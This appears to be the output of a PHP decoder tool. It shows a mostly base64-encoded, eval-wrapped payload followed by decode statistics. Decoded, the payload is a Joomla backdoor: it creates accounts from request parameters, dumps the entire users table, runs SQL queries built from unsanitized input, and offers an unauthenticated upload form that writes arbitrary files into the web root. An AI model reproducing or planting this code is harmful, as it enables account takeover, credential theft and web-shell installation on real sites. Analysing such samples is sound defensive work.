N3b3JkMiddID0gJF9SRVFVRVNUWyd1c2VyX3Bhc3N3b3JkJ107IC8vIGNvbmZpcm0gdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3NlbmRFbWFpbCddID0gMTsgLy8gc2hvdWxkIHRoZSB1c2VyIHJlY2VpdmUgc3lzdGVtIG1haWxzPw0KCSANCgkvKiBOb3cgd2UgY2FuIGRlY2lkZSwgaWYgdGhlIHVzZXIgd2lsbCBuZWVkIGFuIGFjdGl2YXRpb24gKi8NCgkkZGF0YVsnYmxvY2snXSA9IDA7IC8vIGRvbid0IGJsb2NrIHRoZSB1c2VyDQoJIA0KCWlmICghJHVzZXItPmJpbmQoJGRhdGEpKSB7IC8vIG5vdyBiaW5kIHRoZSBkYXRhIHRvIHRoZSBKVXNlciBPYmplY3QsIGlmIGl0IG5vdCB3b3Jrcy4uLi4NCgkJSkVycm9yOjpyYWlzZVdhcm5pbmcoJycsIEpUZXh0OjpfKCAkdXNlci0+Z2V0RXJyb3IoKSkpOyAvLyAuLi5yYWlzZSBhbiBXYXJuaW5nDQoJfQ0KCSANCglpZiAoISR1c2VyLT5zYXZlKCkpIHsgLy8gaWYgdGhlIHVzZXIgaXMgTk9UIHNhdmVkLi4uDQoJCUpFcnJvcjo6cmFpc2VXYXJuaW5nKCcnLCBKVGV4dDo6XyggJHVzZXItPmdldEVycm9yKCkpKTsgLy8gLi4ucmFpc2UgYW4gV2FybmluZw0KCX0NCgkgDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlci0+dXNlcm5hbWUgLiAiIGNyZWF0ZWQhIik7IC8vIGVsc2UgcmV0dXJuIHRoZSBuZXcgSlVzZXIgb2JqZWN0DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9jYXRzJ10pKSB7DQoJJGNhdF91cmxzID0gYXJyYXkoKTsNCgkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlLCAjX19tZW51LnBhdGggQVMgbWVudV9wYXRoLCBDT1VOVCgjX19jb250ZW50LmlkKSBBUyBjb3VudF9hcnRpY2xlcyBGUk9NICNfX2NhdGVnb3JpZXMgDQoJSU5ORVIgSk9JTiAjX19jb250ZW50IE9OICNfX2NhdGVnb3JpZXMuaWQgPSAjX19jb250ZW50LmNhdGlkIA0KCUlOTkVSIEpPSU4gI19fbWVudSBPTiAjX19jYXRlZ29yaWVzLmlkID0gUkVQTEFDRSgjX19tZW51LmxpbmssICdpbmRleC5waHA/b3B0aW9uPWNvbV9jb250ZW50JnZpZXc9Y2F0ZWdvcnkmbGF5b3V0PWJsb2cmaWQ9JywgJycpDQoJR1JPVVAgQlkgI19fY2F0ZWdvcmllcy5pZCBPUkRFUiBCWSAjX19jYXRlZ29yaWVzLnRpdGxlICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCglmb3IgKCRpPTAsJGxlbj1jb3VudCgkY2F0cyk7JGk8JGxlbjskaSsrKSB7DQoJCSRjYXRzWyRpXS0+cGF0aCA9IGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJGNhdHNbJGldLT5tZW51X3BhdGgpOw0KCQl1bnNldCgkY2F0c1skaV0tPm1lbnVfcGF0aCk7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjYXRzKSkgew0KCQkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlIEZST00gI19fY2F0ZWdvcmllcyAiOw0KCQkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCQkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCgkJZm9yICgkaT0wLCRsZW49Y291bnQoJGNhdHMpOyRpPCRsZW47JGkrKykgew0KCQkJJGNhdHNbJGldLT5wYXRoID0gZ2V0X2Z1bGxfcGF0aChKVVJJOjpiYXNlKCkgLiAnaW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ2aWV3PWNhdGVnb3J5JmxheW91dD1ibG9nJmlkPScgLiAkY2F0c1skaV0tPmlkKTsNCgkJCSRjYXRzWyRpXS0+Y291bnRfYXJ0aWNsZXMgPSAnPyc7DQoJCX0NCgl9DQoJDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkY2F0cyk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF91c2VyJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgKiBGUk9NICNfX3VzZXJzICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkdXNlcnMgPSAkZGItPmxvYWRPYmplY3RMaXN0KCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlcnMpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXJ0aWNsZXNfbGlzdCddKSkgew0KCSRvZmZzZXQgPSAwOw0KCSRhcnRpY2xlc19udW0gPSA1MDsNCgkkYWxsX2FydGljbGVzID0gYXJyYXkoKTsNCgkNCgkkY29uZCA9ICcnOw0KCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NlYXJjaF9ieV90aXRsZSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAjX19jb250ZW50LnRpdGxlIExJS0UgJyV7JF9SRVFVRVNUWydzZWFyY2hfYnlfdGl0bGUnXX0lJyAiOw0KCX0NCgkNCglpZighZW1wdHkoJF9SRVFVRVNUWydzZWFyY2hfYnlfYm9keSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAoI19fY29udGVudC5mdWxsdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJyBPUiAjX19jb250ZW50LmludHJvdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJykgIjsNCgl9DQoJDQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2VhcmNoX2J5X2FsaWFzJ10pKSB7DQoJCSRjb25kIC49ICIgQU5EICNfX2NvbnRlbnQuYWxpYXMgTElLRSAnJXskX1JFUVVFU1RbJ3NlYXJjaF9ieV9hbGlhcyddfSUnICI7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjb25kKSkgew0KCQkkY29uZCA9ICcgQU5EIDI9MiAnOw0KCX0NCgkNCglkbyB7DQoJCSRzcWwgPSAiU0VMRUNUICNfX2NvbnRlbnQuaWQsICNfX2NvbnRlbnQudGl0bGUsICNfX2NvbnRlbnQuZnVsbHRleHQsICNfX2NvbnRlbnQuaW50cm90ZXh0LCAjX19jb250ZW50LmFsaWFzIEZST00gI19fY29udGVudCBXSEVSRSAxPTEgeyRjb25kfSBPUkRFUiBCWSBgdGl0bGVgIExJTUlUIHskb2Zmc2V0fSwgJGFydGljbGVzX251bSAiOyAvLyBwcmVwYXJlIHF1ZXJ5DQoJCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJCSRhcnRpY2xlcyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoJCSRhbGxfYXJ0aWNsZXMgKz0gJGFydGljbGVzOw0KCQkkb2Zmc2V0ICs9ICRhcnRpY2xlc19udW07DQoJfXdoaWxlKGNvdW50KCRhcnRpY2xlcykgPT0gJGFydGljbGVzX251bSk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYWxsX2FydGljbGVzKTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgY2F0aWQsIGFsaWFzLCBsYW5ndWFnZSBGUk9NICNfX2NvbnRlbnQgV0hFUkUgaWQgPSAneyRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ119JyAiOw0KCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJJGFydGljbGUgPSAkZGItPmxvYWRPYmplY3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoNCgkkc3FsID0gIlNFTEVDVCBwYXRoIEZST00gI19fbWVudSBXSEVSRSBsaW5rIExJS0UgJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1jYXRlZ29yeSYlaWQ9eyRhcnRpY2xlLT5jYXRpZH0nICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0X3BhdGggPSAkZGItPmxvYWRPYmplY3QoKTsNCglpZihpc3NldCgkY2F0X3BhdGgtPnBhdGgpKSB7DQoJCSRzbHVnID0gJF9SRVFVRVNUWydhcnRpY2xlX3NlZl91cmwnXSAuICc6JyAuICRhcnRpY2xlLT5hbGlhczsNCgkJJGNhdHNsdWcgPSAkYXJ0aWNsZS0+Y2F0aWQgLiAnOicgLiAkY2F0X3BhdGgtPnBhdGg7DQoJCSRsaW5rID0gSlJvdXRlOjpfKENvbnRlbnRIZWxwZXJSb3V0ZTo6Z2V0QXJ0aWNsZVJvdXRlKCRzbHVnLCAkY2F0c2x1ZykpOw0KCQlpZighZW1wdHkoJGFydGljbGUtPmxhbmd1YWdlKSkgew0KCQkJJGxpbmsgPSBzdHJfcmVwbGFjZSgnaW5kZXgucGhwLycsICdpbmRleC5waHAvJyAuIHN1YnN0cigkYXJ0aWNsZS0+bGFuZ3VhZ2UsIDAsIDIpIC4gJy8nLCAkbGluayk7DQoJCX0NCgkJcHJpbnQgYXJyYXlfdG9fanNvbihnZXRfZnVsbF9wYXRoKCRsaW5rKSk7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCBhcnJheV90b19qc29uKGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1hcnRpY2xlJmlkPScgLiAkX1JFUVVFU1RbJ2FydGljbGVfc2VmX3VybCddKSk7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfbGFuZ3VhZ2VzJ10pKSB7DQoJaWYoY2xhc3NfZXhpc3RzKCdKTGFuZ3VhZ2VIZWxwZXInKSkgew0KCQkkbGFuZ3VhZ2VzID0gSkxhbmd1YWdlSGVscGVyOjpnZXRMYW5ndWFnZXMoKTsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbigkbGFuZ3VhZ2VzKTsvL2xhbmdfY29kZSBJTkRFWCBJUyBVU0VEIEZPUiBJTlNFUlRJTkcgSU5UTyBDT05URU5UDQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfam1fdmVyc2lvbiddKSkgew0KCXByaW50IGFycmF5X3RvX2pzb24oSlZFUlNJT04pOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1cGxvYWRfZmlsZSddKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJteV9maWxlIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ215X2ZpbGUnXSkpIHsNCgkkYmFzZV9uYW1lID0gYmFzZW5hbWUoJF9GSUxFU1snbXlfZmlsZSddWyduYW1lJ10pOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydteV9maWxlJ11bJ3RtcF9uYW1lJ10sICRiYXNlX25hbWUpKSB7DQoJCXByaW50ICc8YSBocmVmPSInLiRiYXNlX25hbWUuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGJhc2VfbmFtZS4nPC9hPic7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXBpX3ZlcnNpb24nXSkpIHsNCglwcmludCBhcnJheV90b19qc29uKGFycmF5KCdhcGlfdmVyc2lvbicgPT4gbnVtYmVyX2Zvcm1hdChBUElfVkVSU0lPTiwgMikpKTsNCn0NCj8+")); ?>
<?php /*a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,ya,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,ya,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,ya,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,ya,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y*/ ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 ae5c257629a2aa994fc822520a8b2774
Eval Count 1
Decode Time 98 ms